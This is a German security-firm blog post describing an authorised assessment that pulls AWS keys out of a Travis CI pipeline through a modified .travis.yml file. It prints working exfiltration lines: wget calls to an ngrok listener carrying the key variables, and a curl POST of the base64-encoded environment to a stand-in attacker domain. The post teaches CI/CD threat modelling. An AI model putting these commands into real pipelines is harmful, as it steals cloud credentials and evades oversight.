Nur auf Englisch verfügbar
Jenkins hacken, um einen Cloud-Datenverstoß zu verhindern
Blogbeitrag 3. Februar 2021 von Ricardo Sanchez, Senior Security Specialist bei Bureau Veritas Cybersecurity
Als Sicherheitsexperten haben wir in den letzten Jahren viele Cloud-Bewertungen durchgeführt, während die gesamte Branche im Aufschwung begriffen ist. Manchmal erhalten wir diese großartigen Fragen von unseren Kunden, die wir gerne mit Ihnen teilen würden. Eine sehr interessante Sicherheitsbewertung ergab sich aus einer einfachen Frage: "Was ist das Schlimmste, was passieren kann, wenn der Laptop eines Cloud-Entwicklers kompromittiert wird?"
Dies ist eine verständliche Sorge, da es in letzter Zeit zu massiven Datenschutzverletzungen in der Cloud gekommen ist. Um nur einige Beispiele zu nennen: Capitol One verlor +100 Millionen Datensätze in den USA und +6 Millionen in Kanada aufgrund einer Schwachstelle in der serverseitigen Anforderungsfälschung [1], Marriot/Starwood über 500 Millionen Kundendatensätze bei einem 4 Jahre andauernden Verstoß [2], Facebook/Cultura Colectiva 540 Millionen Datensätze aufgrund einer AWS-Cloud-Fehlkonfiguration [3] und River City Media 1,34 Milliarden Datensätze bei einem versehentlichen Datenleck [4]. Das ist Ihr schlimmster Albtraum als Cloud-Entwickler und möglicherweise gar nicht so weit hergeholt.
Das anonymisierte Szenario, das wir bewertet haben, ging von den folgenden Annahmen aus:
- Der Entwickler hatte keinen Zugriff auf die AWS-Schlüssel (und sollte es auch nicht).
- Für die Bereitstellung der Cloud-Infrastruktur wurde die CICD verwendet.
- Die Schlüssel wurden in der CICD gespeichert, wo der Entwickler keinen Zugriff auf die Umgebung hatte.
- Der CICD-Prozess wurde überwacht, um betrügerische oder bösartige Bereitstellungen in der Cloud zu verhindern.
Nach einer gemeinsamen Sitzung zur Bedrohungsmodellierungentdeckten wir interessante Angriffspfade und beschlossen, die AWS-Schlüssel aus der CICD-Plattform zu extrahieren und die gesamte Sicherheitsüberwachung zu umgehen. Und das taten wir auch - mit Erfolg.
Im Allgemeinen läuft der Prozess der Bereitstellung der Infrastruktur so ab:
- Der Code wird geschrieben
- Der Code wird in das Github-Repository gestellt
- Sobald er auf Github veröffentlicht wurde, wird er von Travis automatisch verarbeitet.
- Travis führt einen Test auf dem CI durch
- Die Infrastruktur wird in der Cloud bereitgestellt
Abbildung 1: Standard CICD-Prozessablauf
Es gibt heute mehrere "Build-Systeme", die alle ähnliche Konfigurationsoptionen bieten:
- Jenkins
- Travis CI
- Azure Pipelines
- AWS CodeBuild
In diesem speziellen Beispiel wird Travis verwendet, da Travis CI weit verbreitet und kostenlos ist.
Travis CI verwendet yaml-Dateien für die Bereitstellung. Insbesondere verwendet es die Datei .travis.yml. Da wir als "abtrünnige Entwickler" (das von unserem Kunden definierte Szenario) die Kontrolle über diese Datei hatten, konnten wir sie ändern und auf Github veröffentlichen. Sobald sie auf Github veröffentlicht ist, wird Travis sie automatisch verarbeiten.
Unsere erste Idee war es, die Schlüsselvariablen auszudrucken und sie in der Konsole anzuzeigen. Leider hatten wir keinen Zugriff auf die Travis-Konsole, so dass wir die Ausgabe der Druckanweisungen nicht sehen konnten. Um die interessanten Schlüsselvariablen wie $AWS_ACCESS_KEY_ID, $aws_secret_key und $aws_key zu extrahieren, gingen wir wie folgt vor:
- Starten Sie einen Listener (wie ngrok)
- Übertragen Sie eine geänderte Datei `.travis.yml` in das Repository mit dem folgenden Code:
after_success:
- echo $AWS_ACCESS_KEY_ID
- wget http://<NGROK URL /$(echo $AWS_ACCESS_KEY_ID)
- wget http://<NGROK URL /$(echo $aws_secret_key)
- wget http://<NGROK URL /$(echo $aws_key)
Alternativ war es möglich, die komplette Umgebung mit zu holen:
- ENV_SEND=`env | base64`
- curl -X POST -k https:// domain-in-control-of-an-attacker.com/ --data "$ENV_SEND"
In dem folgenden Video können Sie den gesamten Vorgang beobachten:
Über das Team
Das Worst-Case-Szenario für den Fall, dass der Laptop eines Cloud-Entwicklers kompromittiert wird, wurde nun mit der potenziellen Auswirkung beantwortet, als nächstes in die "Hall of Fame" für Cloud-Datenverletzungen aufgenommen zu werden. Gemeinsam mit dem Kunden haben wir Maßnahmen ergriffen, um dies zu verhindern. Dazu gehören auch die unten aufgeführten Cloud-Dienste: 1, 2 und 3.
Diese Untersuchung wurde von unseren Secura Cloud-Experten durchgeführt: Roy Stultiens undRicardo Sanchez. Wir würden Ihnen gerne helfen, mehr Einblick in Ihre Cloud-Sicherheit zu erhalten.
Wir können Ihnen helfen und bieten verschiedene Cloud-Dienste an, wie z.B.:
- Modellierung von Bedrohungen
- Cloud-Sicherheitsschulung
- Cloud-Crystal-Box-Bewertung
- Cloud-Hacking-Schulung
- Angriffe und Penetrationstests
- Schwachstellen-Management.
Ricardoist einer der Cloud-Experten von Bureau Veritas Cybersecurity mit einem starken Drang, sich ständig zu verbessern. Er hat einen MsC in Cybersicherheit und genießt es, mehrere Zertifizierungen pro Jahr zu absolvieren, was zu der folgenden beeindruckenden Liste führt: OSCP, CISSP, SANS 588 (Cloud Penetration Testing), SANS Manager 516 (Managing Security Vulnerabilities: Enterprise and Cloud), CCSK, AWS Certified Solutions Architect and Security Specialty, Azure Certified Security Engineer, Metasploit Pro Certified Specialist, Nexpose Advanced Administrator (NACA), Certified Ethical Hacker (CEH), eCCPT, eWPT, InsightIDR Certified Specialist, Network Assault, CompTIA Network und Security + Zertifizierungen. Neben einem Hacker-Abzeichen in hack the box ist sein Hund Taco oft an seiner Seite und ein geschätztes Teammitglied! Sind Sie daran interessiert, sich ebenfalls weiterzubilden und einer unserer ethischen Hacker zu werden? Werden Sie Mitglied bei Secura!